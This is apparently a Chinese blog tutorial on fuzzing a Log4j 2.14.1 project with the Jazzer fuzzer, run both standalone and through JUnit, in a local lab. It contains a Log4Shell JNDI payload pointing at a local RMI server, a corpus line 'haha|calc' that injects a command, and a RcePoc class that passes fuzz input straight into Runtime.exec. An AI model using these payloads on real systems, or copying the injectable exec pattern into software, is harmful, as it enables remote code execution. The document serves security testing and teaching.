Jazzer简介
Github: https://github.com/CodeIntelligenceTesting/jazzer
Jazzer 是由Code Intelligence开发的面向 JVM 平台的覆盖率引导式进程内模糊测试工具。它基于libFuzzer,并将 libFuzzer 的许多基于插桩的变异功能引入了 JVM。
Jazzer 与 JUnit(5.9.0 或更高版本)无缝集成,允许您在编写常规单元测试的同时编写模糊测试。推荐的入门方法是将此jazzer-junit依赖项添加到您的项目中。此软件包可在Maven Central上找到,并使用此密钥签名。
您可以将 Jazzer 与常用的构建工具一起使用
Jazzer有两种运行方式:Junit集成、独立运行(jar或二进制)
下文基于Log4j2 Shell(CVE-2021-44228)简单介绍Maven构建工具下,关于Jazzer的使用,包含自定义词典
前置知识
什么是插桩(Gemini)
1、通俗比喻:走迷宫
想象你在探索一个漆黑的巨大迷宫(目标程序):
没有插桩 (黑盒测试/Blind Fuzzing): 你闭着眼睛在迷宫里乱撞。你扔进去一个输入,如果程序没崩(没死机),你就不知道这个输入到底跑到了迷宫的哪里,也不知道它离出口(漏洞)还有多远。你只能瞎猜下一个输入。
有了插桩 (灰盒测试/Coverage-guided Fuzzing): Jazzer 在迷宫的每一个路口(if/else、循环、函数调用)都装上了感应灯和计数器。 当你扔进去一个输入,Jazzer 立刻就能看到:“哦!这个输入点亮了第 3 区的灯,走了左边的路口。” Jazzer 的逻辑变成了:“既然刚才那个输入走到了左边,那我修改一下那个输入,看看能不能让它往右边走。”
这就是插桩的作用:给 Fuzzer 提供“导航图”和“反馈”。
2、技术原理:Jazzer 的插桩到底干了啥?
在计算机科学中,插桩是指在保证程序原有逻辑不变的前提下,向程序代码中插入额外的代码片段,用于收集运行时信息。
关于Fuzz(Gemini)
Jazzer (-dict) 是一个变异器。-dict 参数提供的只是“积木”(Tokens)。Jazzer 会随机抽取这些积木进行拼接、翻转、插入,它不保证一开始就完整发送字典里的一整行字符串。
使用Jazzer单独程序运行时,-dict或命令行参数后的语料库文件夹都是只提供一个初始化值,让Jazzer对这些输入进行变形,所以使用Jazzer不能实现指定输入的方案
环境搭建
- JDK1.8.0_65
- log4j-core 2.14.1
- jazzer 0.26.0
- jazzer-junit 0.26.0
- JNDI注册中心+HTTP托管
- marshalsec-0.0.3
- Python 3.13.5
导入相关依赖,pom.xml如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>top.lrui1</groupId> <artifactId>poc</artifactId> <version>1.0</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> </dependencies>
</project>
|
src/main/java/top/lrui1/Poc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package top.lrui1;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Poc { private static Logger logger = LogManager.getLogger(Poc.class);
public void testLog4j(String input) { logger.error("success for receive: {}", input); logger.error("上述信息没有异常"); }
public static void main(String[] args) { String input = "${jndi:rmi://127.0.0.1:9999/Evil}"; logger.error("success for receive: {}" , input); } }
|
IDEA运行main方法,可弹出计算器,JNDI服务配置参考 https://lrui1.top/posts/e363a33b/#自定义词典扫描
使用mvn执行编译
1 2 3 4 5
| mvn clean compile
mvn dependency:copy-dependencies
|
由于JDK1.8.0_65对中央仓库的Maven证书不可信((常见于低版本JDK)),下载依赖时可能会报错
解决方案:可手动添加证书到JDK的证书库中
证书获取方式:
访问网站:在浏览器(Chrome/Edge)中打开 https://repo.maven.apache.org
查看证书:
点击地址栏左侧的**“锁”图标** (🔒)。
点击 “连接是安全的” (Connection is secure) -> “证书已有效” (Certificate is valid)。
导出文件:
在弹出的窗口中,切换到 “详细信息” (Details) 标签页。
点击 “导出” (Export) 按钮。
格式选择:选择 Base64 编码 X.509 (.CER) (这其实就是 PEM 格式,兼容性最好)。
文件名:保存为 repo.maven.apache.org.crt。
导入证书命令如下
1 2 3 4 5
| keytool -import -alias maven-central ^ -file "D:\Downloads\repo.maven.apache.org.crt" ^ -keystore "%JAVA_HOME%\jre\lib\security\cacerts" ^ -storepass changeit
|
导入后即可正常下载依赖
mvn命令能正常执行,接下来就是使用jazzer来进行Fuzz测试
jazzer_standalone.jar运行Fuzz
下载地址: https://github.com/CodeIntelligenceTesting/jazzer/releases
jazzer在单独运行的场景下,使用–target_class参数指定要测试的类文件,默认测试其fuzzerTestOneInput方法,修改测试代码如下
src/main/java/top/lrui1/Poc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package top.lrui1;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Poc { private static Logger logger = LogManager.getLogger(Poc.class);
public void testLog4j(String input) { logger.error("success for receive: {}", input); logger.error("上述信息没有异常"); }
public static void fuzzerTestOneInput(byte[] data) { String input = new String(data);
Poc poc = new Poc(); poc.testLog4j(input); }
public static void main(String[] args) { String input = "${jndi:rmi://127.0.0.1:9999/Evil}"; logger.error("success for receive: {}" , input); } }
|
在项目根目录上创建文件夹corpus
1 2 3 4 5
| D:\lrui1-whole\workplace\idea\jazzer-test2> 1.bin 2.bin 3.bin 4.bin
|
1.bin~4.bin的内容分别如下:一个文件一行
1 2 3 4
| test string1 haha|calc success for receive: ${jndi:rmi://127.0.0.1:9999/Evil}
|
随后执行以下命令
1 2 3 4 5 6 7 8 9 10 11 12
| mvn clean compile
mvn dependency:copy-dependencies
java -cp "jazzer\jazzer_standalone.jar;target\classes;target\dependency\log4j-api-2.14.1.jar;target\dependency\log4j-core-2.14.1.jar" ^ com.code_intelligence.jazzer.Jazzer ^ --target_class=top.lrui1.Poc ^ -runs=0 ^ corpus
|
不要使用jazzer.exe来运行,在我当前这个环境下会提示找不到top.lrui1.Poc,可能跟JDK版本有关
-runs=0是将我们的语料库文件不经过变换,直接喂给Jazzer;corpus是语料库的文件夹
命令输出的内容如下

虽然日志里有体现JNDI,但是我的JNDI注册中心—marshalsec并没有收到请求,所以没弹出计算器,有知道的大佬可以在楼下教教站长😥
集成Junit运行Fuzz(推荐)
引入依赖,pom.xml如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>top.lrui1</groupId> <artifactId>poc</artifactId> <version>1.0</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
<dependency> <groupId>com.code-intelligence</groupId> <artifactId>jazzer-junit</artifactId> <version>0.26.0</version> <scope>test</scope> </dependency> </dependencies> </project>
|
src/test/java/top/lrui1/PocFuzzTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package top.lrui1;
import com.code_intelligence.jazzer.api.FuzzedDataProvider; import com.code_intelligence.jazzer.junit.FuzzTest;
public class PocFuzzTest {
@FuzzTest(maxDuration = "10s") public void fuzzLog4j(FuzzedDataProvider data) { String input = data.consumeRemainingAsString(); Poc poc = new Poc(); poc.testLog4j(input); } }
|
jazzer-junit有两种运行方式,回归模式和Fuzz模式,变量JAZZER_FUZZ=0为回归,=1为Fuzz
相比于standlone模式,语料库有默认目录,举个栗子,上方编写的PocFuzzTest
src/test/java/top/lrui1/PocFuzzTest.java,其对应的语料库目录是
src/test/resources/top/lrui1/PocFuzzTestInputs/fuzzLog4j
文件系统目录如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| D:\lrui1-whole\workplace\idea\jazzer-test2\src\test ├─java │ └─top │ └─lrui1 │ PocFuzzTest.java │ └─resources └─top └─lrui1 └─PocFuzzTestInputs └─fuzzLog4j 1.bin 2.bin 3.bin 4.bin
|
回归模式——将语料库输入全部给到Jazzer,不做变换;Fuzz模式会对输入进行变换,默认是回归模式
运行Jazzer
1
| mvn clean test -Dtest=top.lrui1.PocFuzzTest#fuzzLog4j
|
弹出计算器

关于Standlone.jar下弹出计算器的其他尝试
src/main/java/top/lrui1/RcePoc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package top.lrui1;
import java.io.IOException;
public class RcePoc { public static void fuzzerTestOneInput(byte[] data){ String input = new String(data); try { System.out.println("your input is: "+input); Runtime.getRuntime().exec("cmd /k echo "+input); } catch (IOException e) { e.printStackTrace(); } } }
|
运行
1 2 3 4 5 6 7 8 9
| mvn clean compile
java -cp "jazzer\jazzer_standalone.jar;target\classes" ^ com.code_intelligence.jazzer.Jazzer ^ --target_class=top.lrui1.RcePoc ^ -runs=0 ^ corpus
|
弹出计算器

为啥不能触发CVE-2021-44228的Log4j呢,不到了
总结
Jazzer是一个优秀的开源模糊测试工具,相比于JQF他的社区活跃度更高,文档更完善
参考链接
https://github.com/CodeIntelligenceTesting/jazzer
https://juejin.cn/post/7376477309320036362